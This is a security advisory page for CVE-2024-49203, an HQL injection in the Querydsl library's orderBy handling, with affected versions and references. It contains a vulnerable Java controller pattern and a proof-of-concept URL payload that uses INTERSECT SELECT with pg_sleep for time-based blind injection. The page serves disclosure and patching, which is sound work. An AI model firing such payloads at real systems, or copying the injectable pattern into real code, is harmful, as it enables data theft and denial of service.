ghsa-6q3q-6v5j-h6vg
Vulnerability from github
Published
2024-11-27 19:00
Modified
2025-10-13 11:47
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
8.8 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N
Summary
Querydsl vulnerable to HQL injection through orderBy
Details

Summary

The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.

Details

Vulnerable code may look as follows: ``` @GetMapping public List getProducts(@RequestParam("orderBy") String orderBy) { JPAQuery query = new JPAQuery(entityManager).from(test); PathBuilder pathBuilder = new PathBuilder<>(Test.class, "test");

OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();

} Where vulnerability is either caused bypathBuilder.get(orderBy)or theorderBy(order)``` method itself, based on where the security checks are expected.

PoC

Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:

1) Create JPAQuery object instance: JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);

2) Create OrderSpecifier object instance: PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test"); OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy)); Where orderBy variable is user provided input.

3) order and run the query JPAQuery<Test> orderedQuery = query.orderBy(order); orderedQuery.fetch();

When user goes to URL /products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id The generated query will look something like this: select test from Test test order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc

Environment

Library versions used in proof of concept to reproduce the vulnerability: querydsl-jpa: 6.8.0 querydsl-apt: 6.8.0 hibernate-core: 6.1.1.Final jakarta.persistence-api: 3.1.0 postgresql: 42.7.4

Impact

The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-jpa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0.M1"
            },
            {
              "fixed": "6.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0.M1"
            },
            {
              "fixed": "6.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-jpa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.querydsl:querydsl-jpa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.querydsl:querydsl-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-49203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-27T19:00:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier **CVE-2024-49203**.\n\n### Details\nVulnerable code may look as follows:\n```\n@GetMapping\npublic List\u003cTest\u003e getProducts(@RequestParam(\"orderBy\") String orderBy) {\n    JPAQuery\u003cTest\u003e query = new JPAQuery\u003cTest\u003e(entityManager).from(test);\n    PathBuilder\u003cTest\u003e pathBuilder = new PathBuilder\u003c\u003e(Test.class, \"test\");\n\n    OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));\n    JPAQuery\u003cTest\u003e orderedQuery = query.orderBy(order);\n    return orderedQuery.fetch();\n}\n```\nWhere vulnerability is either caused by ```pathBuilder.get(orderBy)``` or the ```orderBy(order)``` method itself, based on where the security checks are expected.\n\n### PoC\nFull POC code is available in repository:\nhttps://github.com/CSIRTTrizna/CVE-2024-49203/\nWhen we take a look at source code shown in Details section the functionality is as follows:\n\n1) Create JPAQuery object instance:\n```\nJPAQuery\u003cTest\u003e query = new JPAQuery\u003cTest\u003e(entityManager).from(test);\n```\n\n2) Create OrderSpecifier object instance:\n```\nPathBuilder\u003cTest\u003e pathBuilder = new PathBuilder\u003c\u003e(Test.class, \"test\");\nOrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));\n```\nWhere orderBy variable is user provided input.\n\n3) order and run the query\n```\nJPAQuery\u003cTest\u003e orderedQuery = query.orderBy(order);\norderedQuery.fetch();\n```\n\nWhen user goes to URL \n```/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))=\u00272\u0027+ORDER+BY+t.id```\nThe generated query will look something like this:\n```\nselect test                                                                                                                                     \nfrom Test test\norder by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))=\u00272\u0027 ORDER BY t.id asc\n```\n\n#### Environment\n\nLibrary versions used in proof of concept to reproduce the vulnerability:\n```\nquerydsl-jpa: 6.8.0\nquerydsl-apt: 6.8.0\nhibernate-core: 6.1.1.Final\njakarta.persistence-api: 3.1.0\npostgresql: 42.7.4\n```\n\n### Impact\nThe vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.",
  "id": "GHSA-6q3q-6v5j-h6vg",
  "modified": "2025-10-13T11:47:54Z",
  "published": "2024-11-27T19:00:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenFeign/querydsl/security/advisories/GHSA-6q3q-6v5j-h6vg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/querydsl/querydsl/issues/3757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CSIRTTrizna/CVE-2024-49203"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenFeign/querydsl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenFeign/querydsl/releases/tag/5.6.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenFeign/querydsl/releases/tag/6.10.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/querydsl/querydsl/releases/tag/QUERYDSL_5_1_0"
    },
    {
      "type": "WEB",
      "url": "https://www.csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Querydsl vulnerable to HQL injection through orderBy"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.